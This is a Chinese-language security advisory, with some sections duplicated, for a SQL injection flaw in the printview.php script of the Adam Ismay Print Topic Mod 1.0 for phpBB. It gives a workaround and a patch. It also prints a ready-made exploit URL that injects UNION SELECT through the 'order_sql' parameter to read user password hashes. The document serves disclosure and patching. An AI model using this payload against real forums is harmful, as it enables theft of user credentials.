Adam Ismay Print Topic Mod SQL注入漏洞
添加时间:
2005-08-17
系统编号:
WAVDB-00488
BUGTRAQ: 10757
影响版本:
Adam Ismay Print Topic Mod 1.0
程序介绍:
解决方案:
临时解决方法：
如果您不能立刻安装补丁或者升级，建议您采取以下措施以降低威胁：
* 在php.ini中设置register_globals为Off。
厂商补丁：
Adam Ismay
----------
修改程序的67和68行：
67| AND f.forum_id = t.forum_id<br> 68| $order_sql ;
改成：
67| AND f.forum_id = t.forum_id ;<br> 68|
信息来源:
<*来源：Bartek Nowotarski （silence10@wp.pl）*>
2005-08-17
系统编号:
WAVDB-00488
BUGTRAQ: 10757
影响版本:
Adam Ismay Print Topic Mod 1.0
程序介绍:
Adam Ismay Print Topic Mod是打印标题模块，可适合于phpBB等系统。
漏洞分析:
Adam Ismay Print Topic Mod printview.php脚本不正确处理用户提交的恶意输入，远程攻击者可以利用这个漏洞获得敏感信息或更改系统数据库。
Topic Mod printview.php脚本对用户提交给'order_sql'参数的数据缺少充分过滤，提交包含恶意数据可能更改原有数据库逻辑，修改数据库或获得敏感信息。
漏洞利用:
http://www.example.com/printview.php?t={existing_topic's_id}&order_sql=UNION%20SELECT%201%20,%20user_password%20,%201,%201,%201,%201,%201,%201,%201,%201,%201,%201%20FROM%20{phpbb_users_table}%20WHERE%20user_id%20={some_user's_id}%20ORDER%20BY%20t.topic_id%20ASC
解决方案:
临时解决方法：
如果您不能立刻安装补丁或者升级，建议您采取以下措施以降低威胁：
* 在php.ini中设置register_globals为Off。
厂商补丁：
Adam Ismay
----------
修改程序的67和68行：
67| AND f.forum_id = t.forum_id<br> 68| $order_sql ;
改成：
67| AND f.forum_id = t.forum_id ;<br> 68|
信息来源:
<*来源：Bartek Nowotarski （silence10@wp.pl）*>